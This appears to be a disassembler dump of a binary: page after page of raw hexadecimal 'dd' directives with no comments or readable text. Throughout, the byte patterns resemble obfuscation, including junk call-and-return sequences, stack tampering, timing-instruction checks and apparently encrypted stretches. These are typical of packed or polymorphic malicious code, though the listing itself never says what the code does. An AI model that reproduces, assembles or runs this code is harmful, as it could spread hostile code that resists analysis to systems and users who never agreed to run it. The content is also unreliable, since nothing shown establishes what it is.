		dd 0BF0938B7h, 0DF4799Fh, 24D5858Bh, 0CB810935h, 23623403h
		dd 6A0689h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0F02C2DC3h, 0F42E14FDh, 0FE8B66FEh, 2B61858Bh
		dd 6A0935h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 9842A9C3h, 0E9A293D1h, 6,	0A44B3F77h, 46893C24h
		dd 95BD2904h, 96093501h, 11E9h,	16F99400h, 0EECFACD9h
		dd 2C3D054Bh, 3C01AA20h, 50504602h, 0BE852h, 93A30000h
		dd 619E5414h, 377A5C85h, 5B5F5189h, 8B66310Fh, 96585ADFh
		dd 21F58589h, 0B5FF0935h, 938B767h, 0CE0768FCh,	5250BAC5h
		dd 0D40ABF66h, 5250310Fh, 310FF98Bh, 8D0Fh, 585A0000h
		dd 481585Ah, 5935F824h,	57006A45h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 33086C3Dh, 858D0C41h
		dd 938B76Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	24C35242h, 81EA7B9Fh, 4170028Eh, 0CE833h, 0F96D0000h
		dd 22344C1Dh, 9FF0BEC1h, 0F600857h, 85h, 59858900h, 6109352Dh
		dd 30DB815Bh, 902A77DFh, 0CE9h,	0CF012F00h, 0CBCD02EDh
		dd 88D31FE3h, 8B665073h, 6A90D8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0E9A3E4C3h, 0A4B813FDh
		dd 0F53A3D33h, 0CDD95FFh, 89610935h, 3505F59Dh,	5585C709h
		dd 3093522h, 0E9000000h, 13h, 77A285C7h, 23F8A7A6h, 0CBB4326Fh
		dd 82B9C348h, 831A7B6Fh, 38B76FBDh, 840F0009h, 57h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0ECC35141h, 5D8691FCh
		dd 1A4A9CDCh, 0FB8B662Ah, 45E9h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 1646716Bh
		dd 76E9AA58h, 0C5BD2BACh, 5009351Bh, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 0BF0FC08Bh, 51006AD8h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 65BD8B5Eh, 8309350Bh, 352255BDh, 850F0309h, 3E3h, 0AE8h
		dd 0FA2CAF00h, 29D68356h, 667BFBE0h, 5F2935BFh,	0B76FBD83h
		dd 0F000938h, 3C284h, 0EDBD3100h, 0FF093507h, 38B76FB5h
		dd 5E809h, 0A6720000h, 8BE6A774h, 95FF5FDAh, 9352E11h
		dd 0E5D8D31h, 0B58B0935h, 938B763h, 8BFA8B66h, 106C7DFh
		dd 6A000100h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 110DC353h
		dd 0E8B7547Bh, 0Ch, 150DEEB9h, 3C195325h, 4895177Ah, 91858960h
		dd 89093503h, 3500F585h, 505F6109h, 922ABA60h, 0D78B6139h
		dd 24348961h, 0A60AE381h, 0B5FF3C73h, 938B76Fh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 74C35747h, 660DF6BAh
		dd 95FFF98Bh, 9350289h,	0CF58589h, 0FD8A0935h, 0B763B58Bh
		dd 6A0938h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 9509E7C3h, 9351BB5h, 0E99858Bh, 6A0935h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 76BD4DC3h, 0C48689D8h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0EE0BC356h
		dd 559D290Fh, 8B09351Ch, 29958BDAh, 6A093516h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0CFFFC350h, 2453BA7Bh, 6A04C283h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0F4D8C356h
		dd 0C380B5F0h, 2050893Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 67C35545h, 0F88BD910h, 0CC07858Dh, 850F0938h
		dd 0Bh,	6E9h, 7D52E200h, 8987417Ch, 0B886h, 8BF78100h
		dd 6A01E16Ah, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 8D29039Bh, 9351601h, 0B76FB5FFh
		dd 8B510938h, 350FCDBDh, 95FF5F09h, 9351151h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 20C35242h, 0D2E721EBh
		dd 7A4EBB7Eh, 0E8966355h, 10h, 7E7FC7Ah, 4B0675A1h, 43BB4F5Dh
		dd 9879B14Dh, 6E9h, 0B503800h, 5FA13CCEh, 0DA8B6650h, 6FB5FF96h
		dd 6A0938B7h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 7165C357h, 182EB038h, 0FF94D7Bh
		dd 38Ah, 0FA8B6600h, 0B5595FFh,	6A0935h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 589527C3h
		dd 96C05AE3h, 2C518D29h, 0BD830935h, 9350079h, 34840F00h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 89DDC350h, 352CD585h, 81BD3309h
		dd 96093522h, 53BA6050h, 8B3F6583h, 0FF9661C7h,	38B76FB5h
		dd 95FFF909h, 9351C35h,	84C9EB81h, 0BD2B161Dh, 9351115h
		dd 0B76FB5FFh, 0EB810938h, 1F2F3501h, 0C5BD8B60h, 909352Fh
		dd 352765BDh, 95FF6109h, 9352CE5h, 26BDBD83h, 0F020935h
		dd 5284h, 0CE900h, 1DF30000h, 1AF76F4Eh, 0C53246D5h, 858B8D48h
		dd 93526ADh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	59C35141h, 434644F2h, 0BD8BB7EEh, 93502B5h, 77D38166h
		dd 0C674h, 3F19D89h, 81660935h,	0C7CE7FE7h, 35326585h
		dd 9, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 72238D4Dh, 0B2883C67h, 0DB801AF5h
		dd 0DBCB8183h, 0E95510CDh, 0FFFFF304h, 1A840Fh,	12E80000h
		dd 0C0000000h, 0AE426FB3h, 32753589h, 0F76BB492h, 80C1CC46h
		dd 5F5B574Ch, 2CB3C18Bh, 2D5404EBh, 3CE931D1h, 8E000005h
		dd 0E29607ACh, 9749524Fh, 0D8A0FD98h, 92465740h, 969DFE9Bh
		dd 8D0C25E5h, 0C6D34810h, 900D23D5h, 0C0D9550Bh, 0B99F5DBh
		dd 12FCB5C1h, 15A328B5h, 8B6B76EBh, 9B941D11h, 8F01F0FEh
		dd 0E69A0396h, 0A64D4Ah, 935160FEh, 1C364129h, 7E757B1Dh
		dd 0EC80FAFAh, 918C00F3h, 2184E908h, 0CBD44833h, 83100ED2h
		dd 8C3F7F4Bh, 993DDF07h, 4B7E449Eh, 747A1C35h, 0BB03AB80h
		dd 0A0BF1C22h, 863ABE35h, 589CE44Bh, 834B48E6h,	4FEE13Bh
		dd 3EB6D22Dh, 8EA11BBFh, 0F269E313h, 0AF1C0CE7h, 9F3C32C5h
		dd 0F9E67AFEh, 80636AFAh, 9B6A1C35h, 0BA5DB0A9h, 0F30D8950h
		dd 12965D78h, 6933E2h, 47940000h, 9C1EAE2Bh, 55DC1881h
		dd 58130FB1h, 0F7041CD9h, 6F826C82h, 537B09EDh,	5C1C3572h
		dd 0CB02DBC9h, 9C8950C8h, 1, 47B915EBh,	8F35AF2Ah, 8B1C3641h
		dd 21F9165h, 75E85C97h,	1B13856Ch, 0B5AC4E7Eh, 0B54BCD24h
		dd 54DB1BBEh, 0F18470EDh, 179D437Ch, 131C3641h,	7C24315Fh
		dd 9D536202h, 9A964A53h, 47ABA0FDh, 0D448AB2Eh,	408C4059h
		dd 364118A2h, 6A8A0C1Ch, 3C2875E3h, 0D4C9D049h,	624FE0DAh
		dd 9D1FD2CFh, 3529A353h, 879E20ACh, 0E95BE212h,	319B4976h
		dd 251C3641h, 0F3FD9893h, 0EA82F6FDh, 9A9206EDh, 6F6A03FDh
		dd 831C1084h, 4596EC70h, 1BF39C5Fh, 0E70F8AA1h,	6CB1AA9Ah
		dd 1B894FFFh, 8Dh, 0AB2E476Ch, 4E5BD448h, 0A22AC4D1h, 0F74CACDAh
		dd 22D21B79h, 8A35299Bh, 363D6E54h, 0AA446A1Ch,	3E5BD547h
		dd 77E403B3h, 13DFA60Fh, 0BEB9ABFAh, 11E4D04Dh,	641C8118h
		dd 0C000CCCDh, 0DB53CEDAh, 28302BEh, 920F22DCh,	0F169DB62h
		dd 0BD2809E8h, 0D0A7F6D7h, 63E08950h, 0AA000000h, 0CB2688D2h
		dd 0A15574DCh, 0AB2E4702h, 718A248h, 5BA7579Ah,	0F3D3A244h
		dd 0D852A24Ch, 29A5946h, 0DAE0FECAh, 0CE1C3593h, 0EDD72CC8h
		dd 596031Ah, 75EB1526h,	0EF078968h, 1109E07Dh, 9E76988h
		dd 41735AEAh, 0AB7A1C36h, 0F96DA0B9h, 0FFA894Fh, 0D4000000h
		dd 0F11054ECh, 0C90637Eh, 492FBCB4h, 284706ADh,	5ED246ADh
		dd 413B811Fh, 0A92F1C36h, 9D438747h, 1C364117h,	0EA698D13h
		dd 0D0BBA9FAh, 7559425Fh, 41418B19h, 0B3351C36h, 0FFE5B043h
		dd 205AAB13h, 4F7F71B5h, 2FA4691h, 18B43A15h, 0ED098EA6h
		dd 617EF266h, 2FA8C43Ch, 819C1EC4h, 494EE618h, 0F2AF17ADh
		dd 7BF1300h, 955C7DF5h,	0A68EE313h, 8A425FD3h, 0F21AA03Eh
		dd 660E1300h, 0F29238h,	8E608613h, 53CF9166h, 2539AB46h
		dd 56C735BCh, 1A879B6Eh, 487CD181h, 23EB9285h, 97000001h
		dd 61900925h, 0BB1EFDFh, 0FF1300FFh, 2E761DD9h,	425FD39Bh
		dd 0B7223DAFh, 0B836B83Ch, 5F43CE14h, 1FC11503h, 0D3CC60D4h
		dd 7D1A16CAh, 716E0276h, 0D3C11282h, 23AB3428h,	0D81B8699h
		dd 24B1AA54h, 0CEAB4BCDh, 8516B1DCh, 41B692h, 2E150000h
		dd 0C307C787h, 8F2D54FBh, 0DE90F90h, 35817D77h,	4C49791Ch
		dd 0D4B073D7h, 8414DF11h, 1C35C73Eh, 0FFC4B055h, 7F7762FDh
		dd 0E1EDBDF4h, 7D1813ADh, 0C811EB79h, 3A51C35h,	94709Ah
		dd 2EA10000h, 0D50BC39Bh, 15036972h, 0C4D14E70h, 955C8230h
		dd 8DA20F23h, 7431E110h, 85779BE7h, 0E3AE12DCh,	0E6C52676h
		dd 0CC00CC22h, 479D3A32h, 1301057Dh, 0AA7F7779h, 0AF0BC04h
		dd 0BA4D5137h, 33ACC03Ah, 0C05F30C0h, 0F9AD1300h, 836E6B07h
		dd 7366FF01h, 0B3462E83h, 0EE7922BFh, 15CB03DBh, 0BDA4C43h
		dd 9C42B137h, 64900D22h, 656976EAh, 1DD9C45Bh, 4F35A696h
		dd 943810A3h, 0FE7F46Ah, 839D1F6Bh, 0FE50DE16h,	0F21503BFh
		dd 5F7AFECh, 846F6Ah, 9B2E4DF4h, 0B0435ED3h, 0D40AC22Ch
		dd 150FCE82h, 2A904E76h, 1E12FCB5h, 97B7678h, 490F8C15h
		dd 9725CCD5h, 1BA57057h, 5C2F1588h, 5F7D7C0h, 2F3E4368h
		dd 0E52C6075h, 180EEB0Bh, 0B9E78EA6h, 0EA64A013h, 0E70FE107h
		dd 11E0F975h, 0BA12879Fh, 0C9096A02h, 49B75336h, 0A42BCBD6h
		dd 71EE10B4h, 0EB0B8D64h
		dd 47DBAE96h, 0A3BF415Ah, 0A249636h, 0DD14859Dh, 0AB39955Bh
		dd 0EA64F621h, 0DC639315h, 14F2h, 0A36E4E00h, 0CF1DE6FCh
		dd 169C428Ah, 12EA6501h, 4FC9688Ch, 0B0154784h,	4653CF41h
		dd 0BA2739ABh, 2BAEC537h, 0BCDD54C8h, 2FAAC335h, 0BFD850C4h
		dd 32AFC034h, 0C9D04DBFh, 6B685D2Ah, 8900005Dh,	0AE682404h
		dd 89000053h, 89522414h, 4C281E2h, 83000000h, 148704EAh
		dd 34895C24h, 0B9BB5324h, 8909398Ch, 241C8BDAh,	4C481h
		dd 0E9680000h, 89000051h, 4812424h, 424h, 52555E00h, 0EC243481h
		dd 5D40B665h, 65ECF581h, 6E8940B6h, 348B5D08h, 0E1895124h
		dd 4C181h, 0C1830000h, 240C8704h, 24148B5Ch, 81E18951h
		dd 4C1h, 4C18300h, 5C240C87h, 0FBECE3E9h, 0B81097FFh, 9399170h
		dd 0E0FFC503h, 49231705h, 0C739DB5h, 79C1536Bh,	2CF00C96h
		dd 56AEC2F9h, 4A9374F0h, 26478980h, 728F5CE5h, 79DCE22Ah
		dd 3D07205h, 7137CEE6h,	3583476Ch, 5B0FB64Bh, 9A089B3h
		dd 167BFA88h, 45778253h, 261EE0B2h, 2213515Eh, 5CF74BD8h
		dd 4DCE5495h, 34CE4B93h, 0D803426h, 43DBEE05h, 1D70C2EAh
		dd 68FADC6Bh, 2DEE079Dh, 9CCF707h, 13F1D937h, 5E3FF28Ch
		dd 12E9A4F9h, 5234DA5Eh, 27AD46D5h, 2659858Dh, 6A0935h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8BEAE8C3h, 0F6050DFh, 0F8Eh,	0AE900h, 334D0000h, 0EB69274h
		dd 0A31930BBh, 810F5250h, 0
		dd 585A310Fh, 24048961h, 5822BF66h, 9E8006Ah, 0E9000000h
		dd 0D37024A8h, 4ACF684Bh, 10E9h, 0FE841900h, 6542C434h
		dd 76DE8A23h, 927E18BBh, 6A5BC8h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0EC35242h, 51C0CB2Ch, 9DB129F9h
		dd 0DC858DC5h, 6A093994h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 7E8AC356h, 7DADB2Ch
		dd 83DA8B66h, 6A05C0h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 3FD16CC3h, 10A967A5h, 20BB774Bh
		dd 5020237Eh, 0FE8h, 0A6190D00h, 0AF1F4FE1h, 9EE60716h
		dd 44D837C3h, 14E9h, 4095DF00h,	22A0D269h, 6B1D035h, 0BE6DEA4Fh
		dd 0A95EA584h, 4895BC9h, 6A006A24h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 44FC351h
		dd 6A006AAAh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 662CC352h, 0C3D2537h, 0ACF38166h
		dd 3195FF85h, 89093503h, 350BE98Dh, 0AB8D8D09h,	6A09389Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 0B4D3C350h, 92D6D6BBh, 7E954h, 9EB60000h
		dd 7F6E99D3h, 0E9D1FF91h, 6, 652B610Ch,	0BD8350B2h, 9351C19h
		dd 97850F01h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0C4F9C357h,	6AEC3BF1h
		dd 11E802h, 0F4100000h,	8D260B08h, 4A53800Eh, 0DE6A8FF7h
		dd 5BBA4F56h, 9DBF6690h, 12E850A3h, 0EE000000h,	0CFF61C49h
		dd 4299AF88h, 51F4B7A8h, 98F1E345h, 0BF665016h,	5B5F333Fh
		dd 50006A90h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0C6AD516h, 6911EB70h, 9E926F1h, 0CC000000h
		dd 18F77DAFh, 748CE43Ah, 115195FFh, 85E90935h, 0E800000Ch
		dd 0
aBacf9J		db ']│МФ■9',9,'j',0
		db 53h,	0E8h, 3
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 928C353h, 35260D8Dh,	2B858D09h, 6A093893h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 8BD8C355h, 8E990DAh,	0E8000000h, 0C0451C26h,	5085DE0Bh
		dd 6A90DE8Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0FBE6C356h, 0A155EE31h, 8A69447Bh
		dd 35FF64FAh, 0
		dd 0FD9B70Fh, 8964F9B7h, 25h, 895F5700h, 352EF99Dh, 985FF09h
		dd 6A093530h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0C1AAC350h, 5B3D9AF6h,	3135B4A4h
		dd 352681B5h, 8BFF6A09h, 0DDB5FFFEh, 29093503h,	3517758Dh
		dd 0B995FF09h, 0E909352Eh, 12Ch, 3880Fh, 8B660000h, 0E900B0D9h
		dd 5, 1D602458h, 0F1BD892Dh, 0E6093500h, 299D8B70h, 0E4093510h
		dd 0D5B58971h, 3C093512h, 0F9830F61h, 81000000h, 0FB28FFD7h
		dd 0C8B60F4Fh, 6810Fh, 9D8B0000h, 9350345h, 6BAh, 399D0900h
		dd 8B093502h, 68C0FC1h,	31000000h, 35324D95h, 4E8C109h
		dd 0F766DF8Bh, 0C58BBBE2h, 0C82B50D0h, 0EE9h, 0EEBB8C00h
		dd 612D2EFFh, 44CE633Ah, 8B313712h, 62E381D1h, 0E947216Eh
		dd 6, 3051BD0Bh, 858B0935h, 93523E9h, 23E59D8Bh, 0C0830935h
		dd 0D1950907h, 8309351Ah, 0BD0900C0h, 9350251h,	830FD03Bh
		dd 0Dh,	0E9DFBF0Fh, 68h, 89045EBBh, 0D58D8B3Ah,	0E8093500h
		dd 12h,	59926900h, 0F31C3436h, 0EA7025E0h, 0A539AFA8h
		dd 0BD0B41B1h, 9352C39h, 1E1835Bh, 36840Fh, 6E90000h, 0A5000000h
		dd 69BE009h, 0C880F81h,	0F000000h, 687h, 2D9D8B00h, 83093501h
		dd 3500D5A5h, 9D8BFE09h, 9351171h, 23E99589h, 0E9F50935h
		dd 0
		dd 0E5AB58Dh, 6A0939h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 468A1BC3h, 697FE39h, 0D19D8B60h
		dd 6109352Ah, 78B7006Ah, 82995FFh, 6A0935h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 5DD5DBC3h
		dd 0E8D427E9h, 0Eh, 0FCBC5AE7h,	0F86B0741h, 71863D27h
		dd 0F5F531Bh, 1182h, 0CE900h, 36330000h, 6AC8539Eh, 89CC0E81h
		dd 23B92A6Bh, 29000008h, 350C499Dh, 0FCE18309h,	28759D89h
		dd 66FC0935h, 2B6711BFh, 30E780C0h, 0BAh, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 0E9E6040Bh, 0Bh, 6C3CAB94h, 9DA37859h, 6620908Fh, 0E502EB81h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0DF8B70Fh, 88h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 26C35646h, 8B66E1F6h
		dd 0A5BF66FEh, 29958B8Fh, 3093516h, 352E2D9Dh, 7D8D8B09h
		dd 6A093528h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 6318C350h, 0DC4C2564h,	50F8A8FDh
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	53006A58h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0C49D562Ch, 0C0193F55h, 57006AFCh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0D6806B0Fh
		dd 0DE96A58h, 80000000h, 7EC5204Dh, 805396B5h, 0ACF3A82Eh
		dd 1249BD83h, 0F000935h, 3E84h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 5E87B0A7h
		dd 7FC3A61Bh, 0B8DCh, 0DABB0000h, 8D5C5AEEh, 354C028Dh
		dd 0A070BF09h, 0E1FF6B8Bh, 83F88B66h, 352255BDh, 840F0009h
		dd 3C5h, 2255BD83h, 0F010935h, 3D384h, 6E900h, 5BCA0000h
		dd 0E1EA5BDBh, 2255BD83h, 0F030935h, 38586h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 7E97364h, 1000000h, 96FDAAA4h, 0BF6092CBh, 3574636Fh
		dd 0E9D98C66h, 6, 0C3754C6Ch, 0E1801694h, 919D8904h, 0A093502h
		dd 37840FC9h, 0E9000001h, 14h, 7F00B3E3h, 78BD0773h, 58A9BFC7h
		dd 0B3BF9147h, 55EA87BCh, 2B61858Bh, 6A0935h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0BF66CEC3h
		dd 0D7803F8Bh, 7D853392h, 6609350Dh, 901DBFBBh,	0FE850h
		dd 36F0000h, 0BAF9F008h, 4DE27A39h, 0E29A8DFAh,	0FE92Dh
		dd 6B330000h, 0A6737084h, 2E3996ABh, 0D9E99747h, 53905F0Dh
		dd 2FCF8166h, 6A5BC4h, 0C383BF66h, 4E8F9h, 3FF0000h, 5250001Fh
		dd 73E264BBh, 5A310F6Ah, 12E85058h, 0C1000000h,	6537C27h
		dd 0CB738309h, 0CAA2F699h, 0C436C7Eh, 0FA8B667Bh, 24448B5Fh
		dd 2880F04h, 8A000000h,	57008BDEh, 5BDA8B66h, 4244489h
		dd 0FD23BF66h, 50006A58h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0EA8415C2h, 299F9034h
		dd 350C498Dh, 0DD95FF09h, 8909350Ch, 38B76F85h,	50006A09h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 8214B1AEh, 619D8B7Ch, 0E9093526h, 19Ah, 21C9BD8Bh, 858B0935h
		dd 938B767h, 1B800Fh, 89600000h, 35267D9Dh, 0EE909h, 54270000h
		dd 53DF443h, 2B8CC93Fh,	0EF1BAD26h, 1800C761h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 755EC355h, 1545DB8Dh, 8B66962Dh, 0B58BF8D9h
		dd 938B76Bh, 7CC78166h,	0D5858B96h, 0B7093524h,	20C38164h
		dd 89362615h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 8B812A59h, 352B6185h, 57006A09h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 37F8DB9Ah, 419D03F7h, 89093516h, 81660446h, 180DBF3h
		dd 350A218Dh, 0B0BF9609h, 5073D630h, 8B525052h,	66310FDEh
		dd 585AF98Bh, 6A965Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 0BB304DC3h, 30A99509h, 0B5FF0935h
		dd 938B767h, 2BC59D8Bh,	55680935h, 663A23AAh, 3481FA8Bh
		dd 3CA9AA24h, 51006A3Ah, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0BE2F6E49h, 66CF6F56h, 858DFB8Bh
		dd 938B76Fh, 14E9h, 4BDB2B00h, 4BC78450h, 3D78630Ch, 436134E1h
		dd 0A9630B73h, 50509004h, 0B12B51BBh, 89905F3Fh, 350E71BDh
		dd 0DD95FF09h, 6A09350Ch, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0FDFC356h, 6A61FEBFh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 8FA9C351h, 8B520CECh, 5585C7FEh, 3093522h
		dd 8B000000h, 350409BDh, 0DDBD8B09h, 83093505h,	38B76FBDh
		dd 840F0009h, 26h, 6E8h, 5CB57C00h, 89E7E8CAh, 352609B5h
		dd 2AE95F09h, 0E9000000h, 0Ah, 805A23F5h, 0DAA6F02Fh, 30502CE4h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 0F4ECBFC0h, 6660503Ah, 46E2DE81h, 1BFD8D01h,	83610935h
		dd 352255BDh, 850F0309h, 3F8h, 0B76FBD83h, 0F000938h, 3EB84h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 697389C4h, 922452D3h, 0BBBFEA06h, 0FF45C2F1h
		dd 38B76FB5h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 89C88842h, 61E515Fh, 2E1195FFh, 6BF0935h
		dd 8B1072E0h, 350269BDh, 63B58B09h, 6A0938B7h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 8013C357h, 6C7F6EEh,	10001h,	60500BB3h, 2830Fh, 5B560000h
		dd 5840Fh, 0D4BE0000h, 6164402Fh, 6A243489h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 3D2CC351h, 0A296E20Dh, 0DA8B662Ah, 0B76FB5FFh, 6A0938h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 37621DC3h, 8995FF01h, 8B093502h, 38B763B5h, 57006A09h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 898DAE5Eh, 353315B5h, 99858B09h, 6A09350Eh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0F4C6C351h, 0FBAE64D6h, 89035939h, 0C486h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 3870F96h, 66000000h,	958BF88Bh, 9351629h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 16C35545h, 0FDDF27AAh
		dd 8B04C283h, 353041BDh, 20508909h, 5E9h, 9386EF00h, 858DCDE9h
		dd 938CC07h, 0AE9h, 1FE0ED00h, 96CACA76h, 8925B8FAh
		dd 0B886h, 55853100h, 0F09352Eh, 6AF8BFh, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Bh, 22C35747h, 0DE44CA10h
		dd 0FF627C48h, 38B76FB5h, 52006A09h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0BE0284EDh
		dd 0B589BF33h, 935245Dh, 115195FFh, 6A0935h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 58D10FC3h
		dd 3113E4DFh, 0C19D8B16h, 5009350Ah, 0CB8B6660h, 50FA8B60h
		dd 5A310F52h, 89616158h, 13E82434h, 54000000h, 7B759478h
		dd 0C95CA2C8h, 686906B3h, 960D29CDh, 8A0F34DBh,	2, 0FF5F6160h
		dd 38B76FB5h, 0FFD88B09h, 350B5595h, 56006A09h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0FD15D0Dh
		dd 0C82h, 68A0F00h, 8B000000h, 351BF5BDh, 79BD8309h, 93500h
		dd 3E840Fh, 0F88B0000h,	0DE8B6696h, 0D7FDBF50h,	6A963F71h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 2D7BC356h, 0E995AAECh, 0Ch, 4D7FBA8Fh, 0BC945135h
		dd 0BD5B9496h, 0B76FB5FFh, 6A0938h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 722EEAC3h
		dd 0CBE05984h, 81E38166h, 3595FF6Bh, 0FF09351Ch, 38B76FB5h
		dd 0FFA6B709h, 352CE595h, 319D8B09h, 8309351Dh,	3526BDBDh
		dd 840F0209h, 74h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0C8C35545h, 858B6EB1h, 93526ADh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 69C35343h, 0E81FB27Ah
		dd 1749B529h, 0C60935h,	50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 5820FD5h, 66000000h, 6DBFE781h
		dd 326585C7h, 935h, 0DA8A0000h,	0FFF494E9h, 51006AFFh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0E8A1D0C5h, 899B9F84h, 352AB58Dh, 0E9C18B09h, 14h, 0A0030769h
		dd 632AB32Dh, 2EF322BEh, 0D1910119h, 0EE3D7FEAh, 2659858Dh
